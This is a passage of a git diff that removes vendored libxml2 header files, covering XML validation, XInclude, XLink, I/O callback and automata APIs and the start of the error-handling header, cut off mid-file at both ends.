xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateAttributeDecl(xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlAttributePtr attr); -XMLPUBFUN int XMLCALL - xmlValidateAttributeValue(xmlAttributeType type, - const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateNotationDecl (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNotationPtr nota); -XMLPUBFUN int XMLCALL - xmlValidateDtd (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlDtdPtr dtd); -XMLPUBFUN int XMLCALL - xmlValidateDtdFinal (xmlValidCtxtPtr ctxt, - xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlValidateDocument (xmlValidCtxtPtr ctxt, - xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlValidateElement (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem); -XMLPUBFUN int XMLCALL - xmlValidateOneElement (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem); -XMLPUBFUN int XMLCALL - xmlValidateOneAttribute (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem, - xmlAttrPtr attr, - const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateOneNamespace (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem, - const xmlChar *prefix, - xmlNsPtr ns, - const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateDocumentFinal(xmlValidCtxtPtr ctxt, - xmlDocPtr doc); -#endif /* LIBXML_VALID_ENABLED */ - -#if defined(LIBXML_VALID_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) -XMLPUBFUN int XMLCALL - xmlValidateNotationUse (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - const xmlChar *notationName); -#endif /* LIBXML_VALID_ENABLED or LIBXML_SCHEMAS_ENABLED */ - -XMLPUBFUN int XMLCALL - xmlIsMixedElement (xmlDocPtr doc, - const xmlChar *name); -XMLPUBFUN xmlAttributePtr XMLCALL - xmlGetDtdAttrDesc (xmlDtdPtr dtd, - const xmlChar *elem, - const xmlChar *name); -XMLPUBFUN xmlAttributePtr XMLCALL - xmlGetDtdQAttrDesc (xmlDtdPtr dtd, - const xmlChar *elem, - const xmlChar *name, - const xmlChar *prefix); -XMLPUBFUN xmlNotationPtr XMLCALL - xmlGetDtdNotationDesc (xmlDtdPtr dtd, - const xmlChar *name); -XMLPUBFUN xmlElementPtr XMLCALL - xmlGetDtdQElementDesc (xmlDtdPtr dtd, - const xmlChar *name, - const xmlChar *prefix); -XMLPUBFUN xmlElementPtr XMLCALL - xmlGetDtdElementDesc (xmlDtdPtr dtd, - const xmlChar *name); - -#ifdef LIBXML_VALID_ENABLED - -XMLPUBFUN int XMLCALL - xmlValidGetPotentialChildren(xmlElementContent *ctree, - const xmlChar **names, - int *len, - int max); - -XMLPUBFUN int XMLCALL - xmlValidGetValidElements(xmlNode *prev, - xmlNode *next, - const xmlChar **names, - int max); -XMLPUBFUN int XMLCALL - xmlValidateNameValue (const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateNamesValue (const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateNmtokenValue (const xmlChar *value); -XMLPUBFUN int XMLCALL - xmlValidateNmtokensValue(const xmlChar *value); - -#ifdef LIBXML_REGEXP_ENABLED -/* - * Validation based on the regexp support - */ -XMLPUBFUN int XMLCALL - xmlValidBuildContentModel(xmlValidCtxtPtr ctxt, - xmlElementPtr elem); - -XMLPUBFUN int XMLCALL - xmlValidatePushElement (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem, - const xmlChar *qname); -XMLPUBFUN int XMLCALL - xmlValidatePushCData (xmlValidCtxtPtr ctxt, - const xmlChar *data, - int len); -XMLPUBFUN int XMLCALL - xmlValidatePopElement (xmlValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem, - const xmlChar *qname); -#endif /* LIBXML_REGEXP_ENABLED */ -#endif /* LIBXML_VALID_ENABLED */ -#ifdef __cplusplus -} -#endif -#endif /* __XML_VALID_H__ */ diff --git a/installer/libxml2/include/libxml/xinclude.h b/installer/libxml2/include/libxml/xinclude.h deleted file mode 100644 index 863ab25..0000000 --- a/installer/libxml2/include/libxml/xinclude.h +++ /dev/null @@ -1,129 +0,0 @@ -/* - * Summary: implementation of XInclude - * Description: API to handle XInclude processing, - * implements the - * World Wide Web Consortium Last Call Working Draft 10 November 2003 - * http://www.w3.org/TR/2003/WD-xinclude-20031110 - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XINCLUDE_H__ -#define __XML_XINCLUDE_H__ - -#include -#include - -#ifdef LIBXML_XINCLUDE_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * XINCLUDE_NS: - * - * Macro defining the Xinclude namespace: http://www.w3.org/2003/XInclude - */ -#define XINCLUDE_NS (const xmlChar *) "http://www.w3.org/2003/XInclude" -/** - * XINCLUDE_OLD_NS: - * - * Macro defining the draft Xinclude namespace: http://www.w3.org/2001/XInclude - */ -#define XINCLUDE_OLD_NS (const xmlChar *) "http://www.w3.org/2001/XInclude" -/** - * XINCLUDE_NODE: - * - * Macro defining "include" - */ -#define XINCLUDE_NODE (const xmlChar *) "include" -/** - * XINCLUDE_FALLBACK: - * - * Macro defining "fallback" - */ -#define XINCLUDE_FALLBACK (const xmlChar *) "fallback" -/** - * XINCLUDE_HREF: - * - * Macro defining "href" - */ -#define XINCLUDE_HREF (const xmlChar *) "href" -/** - * XINCLUDE_PARSE: - * - * Macro defining "parse" - */ -#define XINCLUDE_PARSE (const xmlChar *) "parse" -/** - * XINCLUDE_PARSE_XML: - * - * Macro defining "xml" - */ -#define XINCLUDE_PARSE_XML (const xmlChar *) "xml" -/** - * XINCLUDE_PARSE_TEXT: - * - * Macro defining "text" - */ -#define XINCLUDE_PARSE_TEXT (const xmlChar *) "text" -/** - * XINCLUDE_PARSE_ENCODING: - * - * Macro defining "encoding" - */ -#define XINCLUDE_PARSE_ENCODING (const xmlChar *) "encoding" -/** - * XINCLUDE_PARSE_XPOINTER: - * - * Macro defining "xpointer" - */ -#define XINCLUDE_PARSE_XPOINTER (const xmlChar *) "xpointer" - -typedef struct _xmlXIncludeCtxt xmlXIncludeCtxt; -typedef xmlXIncludeCtxt *xmlXIncludeCtxtPtr; - -/* - * standalone processing - */ -XMLPUBFUN int XMLCALL - xmlXIncludeProcess (xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessFlags (xmlDocPtr doc, - int flags); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessFlagsData(xmlDocPtr doc, - int flags, - void *data); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessTreeFlagsData(xmlNodePtr tree, - int flags, - void *data); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessTree (xmlNodePtr tree); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessTreeFlags(xmlNodePtr tree, - int flags); -/* - * contextual processing - */ -XMLPUBFUN xmlXIncludeCtxtPtr XMLCALL - xmlXIncludeNewContext (xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlXIncludeSetFlags (xmlXIncludeCtxtPtr ctxt, - int flags); -XMLPUBFUN void XMLCALL - xmlXIncludeFreeContext (xmlXIncludeCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlXIncludeProcessNode (xmlXIncludeCtxtPtr ctxt, - xmlNodePtr tree); -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_XINCLUDE_ENABLED */ - -#endif /* __XML_XINCLUDE_H__ */ diff --git a/installer/libxml2/include/libxml/xlink.h b/installer/libxml2/include/libxml/xlink.h deleted file mode 100644 index a209a99..0000000 --- a/installer/libxml2/include/libxml/xlink.h +++ /dev/null @@ -1,189 +0,0 @@ -/* - * Summary: unfinished XLink detection module - * Description: unfinished XLink detection module - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XLINK_H__ -#define __XML_XLINK_H__ - -#include -#include - -#ifdef LIBXML_XPTR_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * Various defines for the various Link properties. - * - * NOTE: the link detection layer will try to resolve QName expansion - * of namespaces. If "foo" is the prefix for "http://foo.com/" - * then the link detection layer will expand role="foo:myrole" - * to "http://foo.com/:myrole". - * NOTE: the link detection layer will expand URI-Refences found on - * href attributes by using the base mechanism if found. - */ -typedef xmlChar *xlinkHRef; -typedef xmlChar *xlinkRole; -typedef xmlChar *xlinkTitle; - -typedef enum { - XLINK_TYPE_NONE = 0, - XLINK_TYPE_SIMPLE, - XLINK_TYPE_EXTENDED, - XLINK_TYPE_EXTENDED_SET -} xlinkType; - -typedef enum { - XLINK_SHOW_NONE = 0, - XLINK_SHOW_NEW, - XLINK_SHOW_EMBED, - XLINK_SHOW_REPLACE -} xlinkShow; - -typedef enum { - XLINK_ACTUATE_NONE = 0, - XLINK_ACTUATE_AUTO, - XLINK_ACTUATE_ONREQUEST -} xlinkActuate; - -/** - * xlinkNodeDetectFunc: - * @ctx: user data pointer - * @node: the node to check - * - * This is the prototype for the link detection routine. - * It calls the default link detection callbacks upon link detection. - */ -typedef void (*xlinkNodeDetectFunc) (void *ctx, xmlNodePtr node); - -/* - * The link detection module interact with the upper layers using - * a set of callback registered at parsing time. - */ - -/** - * xlinkSimpleLinkFunk: - * @ctx: user data pointer - * @node: the node carrying the link - * @href: the target of the link - * @role: the role string - * @title: the link title - * - * This is the prototype for a simple link detection callback. - */ -typedef void -(*xlinkSimpleLinkFunk) (void *ctx, - xmlNodePtr node, - const xlinkHRef href, - const xlinkRole role, - const xlinkTitle title); - -/** - * xlinkExtendedLinkFunk: - * @ctx: user data pointer - * @node: the node carrying the link - * @nbLocators: the number of locators detected on the link - * @hrefs: pointer to the array of locator hrefs - * @roles: pointer to the array of locator roles - * @nbArcs: the number of arcs detected on the link - * @from: pointer to the array of source roles found on the arcs - * @to: pointer to the array of target roles found on the arcs - * @show: array of values for the show attributes found on the arcs - * @actuate: array of values for the actuate attributes found on the arcs - * @nbTitles: the number of titles detected on the link - * @title: array of titles detected on the link - * @langs: array of xml:lang values for the titles - * - * This is the prototype for a extended link detection callback. - */ -typedef void -(*xlinkExtendedLinkFunk)(void *ctx, - xmlNodePtr node, - int nbLocators, - const xlinkHRef *hrefs, - const xlinkRole *roles, - int nbArcs, - const xlinkRole *from, - const xlinkRole *to, - xlinkShow *show, - xlinkActuate *actuate, - int nbTitles, - const xlinkTitle *titles, - const xmlChar **langs); - -/** - * xlinkExtendedLinkSetFunk: - * @ctx: user data pointer - * @node: the node carrying the link - * @nbLocators: the number of locators detected on the link - * @hrefs: pointer to the array of locator hrefs - * @roles: pointer to the array of locator roles - * @nbTitles: the number of titles detected on the link - * @title: array of titles detected on the link - * @langs: array of xml:lang values for the titles - * - * This is the prototype for a extended link set detection callback. - */ -typedef void -(*xlinkExtendedLinkSetFunk) (void *ctx, - xmlNodePtr node, - int nbLocators, - const xlinkHRef *hrefs, - const xlinkRole *roles, - int nbTitles, - const xlinkTitle *titles, - const xmlChar **langs); - -/** - * This is the structure containing a set of Links detection callbacks. - * - * There is no default xlink callbacks, if one want to get link - * recognition activated, those call backs must be provided before parsing. - */ -typedef struct _xlinkHandler xlinkHandler; -typedef xlinkHandler *xlinkHandlerPtr; -struct _xlinkHandler { - xlinkSimpleLinkFunk simple; - xlinkExtendedLinkFunk extended; - xlinkExtendedLinkSetFunk set; -}; - -/* - * The default detection routine, can be overridden, they call the default - * detection callbacks. - */ - -XMLPUBFUN xlinkNodeDetectFunc XMLCALL - xlinkGetDefaultDetect (void); -XMLPUBFUN void XMLCALL - xlinkSetDefaultDetect (xlinkNodeDetectFunc func); - -/* - * Routines to set/get the default handlers. - */ -XMLPUBFUN xlinkHandlerPtr XMLCALL - xlinkGetDefaultHandler (void); -XMLPUBFUN void XMLCALL - xlinkSetDefaultHandler (xlinkHandlerPtr handler); - -/* - * Link detection module itself. - */ -XMLPUBFUN xlinkType XMLCALL - xlinkIsLink (xmlDocPtr doc, - xmlNodePtr node); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_XPTR_ENABLED */ - -#endif /* __XML_XLINK_H__ */ diff --git a/installer/libxml2/include/libxml/xmlIO.h b/installer/libxml2/include/libxml/xmlIO.h deleted file mode 100644 index 3e41744..0000000 --- a/installer/libxml2/include/libxml/xmlIO.h +++ /dev/null @@ -1,366 +0,0 @@ -/* - * Summary: interface for the I/O interfaces used by the parser - * Description: interface for the I/O interfaces used by the parser - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_IO_H__ -#define __XML_IO_H__ - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Those are the functions and datatypes for the parser input - * I/O structures. - */ - -/** - * xmlInputMatchCallback: - * @filename: the filename or URI - * - * Callback used in the I/O Input API to detect if the current handler - * can provide input fonctionnalities for this resource. - * - * Returns 1 if yes and 0 if another Input module should be used - */ -typedef int (XMLCALL *xmlInputMatchCallback) (char const *filename); -/** - * xmlInputOpenCallback: - * @filename: the filename or URI - * - * Callback used in the I/O Input API to open the resource - * - * Returns an Input context or NULL in case or error - */ -typedef void * (XMLCALL *xmlInputOpenCallback) (char const *filename); -/** - * xmlInputReadCallback: - * @context: an Input context - * @buffer: the buffer to store data read - * @len: the length of the buffer in bytes - * - * Callback used in the I/O Input API to read the resource - * - * Returns the number of bytes read or -1 in case of error - */ -typedef int (XMLCALL *xmlInputReadCallback) (void * context, char * buffer, int len); -/** - * xmlInputCloseCallback: - * @context: an Input context - * - * Callback used in the I/O Input API to close the resource - * - * Returns 0 or -1 in case of error - */ -typedef int (XMLCALL *xmlInputCloseCallback) (void * context); - -#ifdef LIBXML_OUTPUT_ENABLED -/* - * Those are the functions and datatypes for the library output - * I/O structures. - */ - -/** - * xmlOutputMatchCallback: - * @filename: the filename or URI - * - * Callback used in the I/O Output API to detect if the current handler - * can provide output fonctionnalities for this resource. - * - * Returns 1 if yes and 0 if another Output module should be used - */ -typedef int (XMLCALL *xmlOutputMatchCallback) (char const *filename); -/** - * xmlOutputOpenCallback: - * @filename: the filename or URI - * - * Callback used in the I/O Output API to open the resource - * - * Returns an Output context or NULL in case or error - */ -typedef void * (XMLCALL *xmlOutputOpenCallback) (char const *filename); -/** - * xmlOutputWriteCallback: - * @context: an Output context - * @buffer: the buffer of data to write - * @len: the length of the buffer in bytes - * - * Callback used in the I/O Output API to write to the resource - * - * Returns the number of bytes written or -1 in case of error - */ -typedef int (XMLCALL *xmlOutputWriteCallback) (void * context, const char * buffer, - int len); -/** - * xmlOutputCloseCallback: - * @context: an Output context - * - * Callback used in the I/O Output API to close the resource - * - * Returns 0 or -1 in case of error - */ -typedef int (XMLCALL *xmlOutputCloseCallback) (void * context); -#endif /* LIBXML_OUTPUT_ENABLED */ - -#ifdef __cplusplus -} -#endif - -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif -struct _xmlParserInputBuffer { - void* context; - xmlInputReadCallback readcallback; - xmlInputCloseCallback closecallback; - - xmlCharEncodingHandlerPtr encoder; /* I18N conversions to UTF-8 */ - - xmlBufPtr buffer; /* Local buffer encoded in UTF-8 */ - xmlBufPtr raw; /* if encoder != NULL buffer for raw input */ - int compressed; /* -1=unknown, 0=not compressed, 1=compressed */ - int error; - unsigned long rawconsumed;/* amount consumed from raw */ -}; - - -#ifdef LIBXML_OUTPUT_ENABLED -struct _xmlOutputBuffer { - void* context; - xmlOutputWriteCallback writecallback; - xmlOutputCloseCallback closecallback; - - xmlCharEncodingHandlerPtr encoder; /* I18N conversions to UTF-8 */ - - xmlBufPtr buffer; /* Local buffer encoded in UTF-8 or ISOLatin */ - xmlBufPtr conv; /* if encoder != NULL buffer for output */ - int written; /* total number of byte written */ - int error; -}; -#endif /* LIBXML_OUTPUT_ENABLED */ - -/* - * Interfaces for input - */ -XMLPUBFUN void XMLCALL - xmlCleanupInputCallbacks (void); - -XMLPUBFUN int XMLCALL - xmlPopInputCallbacks (void); - -XMLPUBFUN void XMLCALL - xmlRegisterDefaultInputCallbacks (void); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlAllocParserInputBuffer (xmlCharEncoding enc); - -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateFilename (const char *URI, - xmlCharEncoding enc); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateFile (FILE *file, - xmlCharEncoding enc); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateFd (int fd, - xmlCharEncoding enc); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateMem (const char *mem, int size, - xmlCharEncoding enc); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateStatic (const char *mem, int size, - xmlCharEncoding enc); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlParserInputBufferCreateIO (xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - xmlCharEncoding enc); -XMLPUBFUN int XMLCALL - xmlParserInputBufferRead (xmlParserInputBufferPtr in, - int len); -XMLPUBFUN int XMLCALL - xmlParserInputBufferGrow (xmlParserInputBufferPtr in, - int len); -XMLPUBFUN int XMLCALL - xmlParserInputBufferPush (xmlParserInputBufferPtr in, - int len, - const char *buf); -XMLPUBFUN void XMLCALL - xmlFreeParserInputBuffer (xmlParserInputBufferPtr in); -XMLPUBFUN char * XMLCALL - xmlParserGetDirectory (const char *filename); - -XMLPUBFUN int XMLCALL - xmlRegisterInputCallbacks (xmlInputMatchCallback matchFunc, - xmlInputOpenCallback openFunc, - xmlInputReadCallback readFunc, - xmlInputCloseCallback closeFunc); - -xmlParserInputBufferPtr - __xmlParserInputBufferCreateFilename(const char *URI, - xmlCharEncoding enc); - -#ifdef LIBXML_OUTPUT_ENABLED -/* - * Interfaces for output - */ -XMLPUBFUN void XMLCALL - xmlCleanupOutputCallbacks (void); -XMLPUBFUN void XMLCALL - xmlRegisterDefaultOutputCallbacks(void); -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlAllocOutputBuffer (xmlCharEncodingHandlerPtr encoder); - -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlOutputBufferCreateFilename (const char *URI, - xmlCharEncodingHandlerPtr encoder, - int compression); - -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlOutputBufferCreateFile (FILE *file, - xmlCharEncodingHandlerPtr encoder); - -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlOutputBufferCreateBuffer (xmlBufferPtr buffer, - xmlCharEncodingHandlerPtr encoder); - -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlOutputBufferCreateFd (int fd, - xmlCharEncodingHandlerPtr encoder); - -XMLPUBFUN xmlOutputBufferPtr XMLCALL - xmlOutputBufferCreateIO (xmlOutputWriteCallback iowrite, - xmlOutputCloseCallback ioclose, - void *ioctx, - xmlCharEncodingHandlerPtr encoder); - -/* Couple of APIs to get the output without digging into the buffers */ -XMLPUBFUN const xmlChar * XMLCALL - xmlOutputBufferGetContent (xmlOutputBufferPtr out); -XMLPUBFUN size_t XMLCALL - xmlOutputBufferGetSize (xmlOutputBufferPtr out); - -XMLPUBFUN int XMLCALL - xmlOutputBufferWrite (xmlOutputBufferPtr out, - int len, - const char *buf); -XMLPUBFUN int XMLCALL - xmlOutputBufferWriteString (xmlOutputBufferPtr out, - const char *str); -XMLPUBFUN int XMLCALL - xmlOutputBufferWriteEscape (xmlOutputBufferPtr out, - const xmlChar *str, - xmlCharEncodingOutputFunc escaping); - -XMLPUBFUN int XMLCALL - xmlOutputBufferFlush (xmlOutputBufferPtr out); -XMLPUBFUN int XMLCALL - xmlOutputBufferClose (xmlOutputBufferPtr out); - -XMLPUBFUN int XMLCALL - xmlRegisterOutputCallbacks (xmlOutputMatchCallback matchFunc, - xmlOutputOpenCallback openFunc, - xmlOutputWriteCallback writeFunc, - xmlOutputCloseCallback closeFunc); - -xmlOutputBufferPtr - __xmlOutputBufferCreateFilename(const char *URI, - xmlCharEncodingHandlerPtr encoder, - int compression); - -#ifdef LIBXML_HTTP_ENABLED -/* This function only exists if HTTP support built into the library */ -XMLPUBFUN void XMLCALL - xmlRegisterHTTPPostCallbacks (void ); -#endif /* LIBXML_HTTP_ENABLED */ - -#endif /* LIBXML_OUTPUT_ENABLED */ - -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlCheckHTTPInput (xmlParserCtxtPtr ctxt, - xmlParserInputPtr ret); - -/* - * A predefined entity loader disabling network accesses - */ -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlNoNetExternalEntityLoader (const char *URL, - const char *ID, - xmlParserCtxtPtr ctxt); - -/* - * xmlNormalizeWindowsPath is obsolete, don't use it. - * Check xmlCanonicPath in uri.h for a better alternative. - */ -XMLPUBFUN xmlChar * XMLCALL - xmlNormalizeWindowsPath (const xmlChar *path); - -XMLPUBFUN int XMLCALL - xmlCheckFilename (const char *path); -/** - * Default 'file://' protocol callbacks - */ -XMLPUBFUN int XMLCALL - xmlFileMatch (const char *filename); -XMLPUBFUN void * XMLCALL - xmlFileOpen (const char *filename); -XMLPUBFUN int XMLCALL - xmlFileRead (void * context, - char * buffer, - int len); -XMLPUBFUN int XMLCALL - xmlFileClose (void * context); - -/** - * Default 'http://' protocol callbacks - */ -#ifdef LIBXML_HTTP_ENABLED -XMLPUBFUN int XMLCALL - xmlIOHTTPMatch (const char *filename); -XMLPUBFUN void * XMLCALL - xmlIOHTTPOpen (const char *filename); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void * XMLCALL - xmlIOHTTPOpenW (const char * post_uri, - int compression ); -#endif /* LIBXML_OUTPUT_ENABLED */ -XMLPUBFUN int XMLCALL - xmlIOHTTPRead (void * context, - char * buffer, - int len); -XMLPUBFUN int XMLCALL - xmlIOHTTPClose (void * context); -#endif /* LIBXML_HTTP_ENABLED */ - -/** - * Default 'ftp://' protocol callbacks - */ -#ifdef LIBXML_FTP_ENABLED -XMLPUBFUN int XMLCALL - xmlIOFTPMatch (const char *filename); -XMLPUBFUN void * XMLCALL - xmlIOFTPOpen (const char *filename); -XMLPUBFUN int XMLCALL - xmlIOFTPRead (void * context, - char * buffer, - int len); -XMLPUBFUN int XMLCALL - xmlIOFTPClose (void * context); -#endif /* LIBXML_FTP_ENABLED */ - -#ifdef __cplusplus -} -#endif - -#endif /* __XML_IO_H__ */ diff --git a/installer/libxml2/include/libxml/xmlautomata.h b/installer/libxml2/include/libxml/xmlautomata.h deleted file mode 100644 index bf1b131..0000000 --- a/installer/libxml2/include/libxml/xmlautomata.h +++ /dev/null @@ -1,146 +0,0 @@ -/* - * Summary: API to build regexp automata - * Description: the API to build regexp automata - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_AUTOMATA_H__ -#define __XML_AUTOMATA_H__ - -#include -#include - -#ifdef LIBXML_REGEXP_ENABLED -#ifdef LIBXML_AUTOMATA_ENABLED -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlAutomataPtr: - * - * A libxml automata description, It can be compiled into a regexp - */ -typedef struct _xmlAutomata xmlAutomata; -typedef xmlAutomata *xmlAutomataPtr; - -/** - * xmlAutomataStatePtr: - * - * A state int the automata description, - */ -typedef struct _xmlAutomataState xmlAutomataState; -typedef xmlAutomataState *xmlAutomataStatePtr; - -/* - * Building API - */ -XMLPUBFUN xmlAutomataPtr XMLCALL - xmlNewAutomata (void); -XMLPUBFUN void XMLCALL - xmlFreeAutomata (xmlAutomataPtr am); - -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataGetInitState (xmlAutomataPtr am); -XMLPUBFUN int XMLCALL - xmlAutomataSetFinalState (xmlAutomataPtr am, - xmlAutomataStatePtr state); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewState (xmlAutomataPtr am); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewTransition (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewTransition2 (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - const xmlChar *token2, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewNegTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - const xmlChar *token2, - void *data); - -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewCountTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - int min, - int max, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewCountTrans2 (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - const xmlChar *token2, - int min, - int max, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewOnceTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - int min, - int max, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewOnceTrans2 (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - const xmlChar *token, - const xmlChar *token2, - int min, - int max, - void *data); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewAllTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - int lax); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewEpsilon (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewCountedTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - int counter); -XMLPUBFUN xmlAutomataStatePtr XMLCALL - xmlAutomataNewCounterTrans (xmlAutomataPtr am, - xmlAutomataStatePtr from, - xmlAutomataStatePtr to, - int counter); -XMLPUBFUN int XMLCALL - xmlAutomataNewCounter (xmlAutomataPtr am, - int min, - int max); - -XMLPUBFUN xmlRegexpPtr XMLCALL - xmlAutomataCompile (xmlAutomataPtr am); -XMLPUBFUN int XMLCALL - xmlAutomataIsDeterminist (xmlAutomataPtr am); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_AUTOMATA_ENABLED */ -#endif /* LIBXML_REGEXP_ENABLED */ - -#endif /* __XML_AUTOMATA_H__ */ diff --git a/installer/libxml2/include/libxml/xmlerror.h b/installer/libxml2/include/libxml/xmlerror.h deleted file mode 100644 index 037c16d..0000000 --- a/installer/libxml2/include/libxml/xmlerror.h +++ /dev/null @@ -1,945 +0,0 @@ -/* - * Summary: error handling - * Description: the API used to report errors - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#include - -#ifndef __XML_ERROR_H__ -#define __XML_ERROR_H__ - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlErrorLevel: - * - * Indicates the level of an error - */ -typedef enum { - XML_ERR_NONE = 0, - XML_ERR_WARNING = 1, /* A simple warning */ - XML_ERR_ERROR = 2, /* A recoverable error */ - XML_ERR_FATAL = 3 /* A fatal error */ -} xmlErrorLevel; - -/** - * xmlErrorDomain: - * - * Indicates where an error may have come from - */ -typedef enum { - XML_FROM_NONE = 0, - XML_FROM_PARSER, /* The XML parser */ - XML_FROM_TREE, /* The tree module */ - XML_FROM_NAMESPACE, /* The XML Namespace module */ - XML_FROM_DTD, /* The XML DTD validation with parser context*/ - XML_FROM_HTML, /* The HTML parser */ - XML_FROM_MEMORY, /* The memory allocator */ - XML_FROM_OUTPUT, /* The serialization code */ - XML_FROM_IO, /* The Input/Output stack */ - XML_FROM_FTP, /* The FTP module */ - XML_FROM_HTTP, /* The HTTP module */ - XML_FROM_XINCLUDE, /* The XInclude processing */ - XML_FROM_XPATH, /* The XPath module */ - XML_FROM_XPOINTER, /* The XPointer module */ - XML_FROM_REGEXP, /* The regular expressions module */ - XML_FROM_DATATYPE, /* The W3C XML Schemas Datatype module */ - XML_FROM_SCHEMASP, /* The W3C XML Schemas parser module */ - XML_FROM_SCHEMASV, /* The W3C XML Schemas validation module */ - XML_FROM_RELAXNGP, /* The Relax-NG parser module */ - XML_FROM_RELAXNGV, /* The Relax-NG validator module */ - XML_FROM_CATALOG, /* The Catalog module */ - XML_FROM_C14N, /* The Canonicalization module */ - XML_FROM_XSLT, /* The XSLT engine from libxslt */ - XML_FROM_VALID, /* The XML DTD validation with valid context */ - XML_FROM_CHECK, /* The error checking module */ - XML_FROM_WRITER, /* The xmlwriter module */ - XML_FROM_MODULE, /* The dynamically loaded module module*/ - XML_FROM_I18N, /* The module handling character conversion */ - XML_FROM_SCHEMATRONV,/* The Schematron validator module */ - XML_FROM_BUFFER, /* The buffers module */ - XML_FROM_URI /* The URI module */ -} xmlErrorDomain; - -/** - * xmlError: - * - * An XML Error instance. - */ - -typedef struct _xmlError xmlError; -typedef xmlError *xmlErrorPtr; -struct _xmlError { - int domain; /* What part of the library raised this error */ - int code; /* The error code, e.g. an xmlParserError */ - char *message;/* human-readable informative error message */ - xmlErrorLevel level;/* how consequent is the error */ - char *file; /* the filename */ - int line; /* the line number if available */ - char *str1; /* extra string 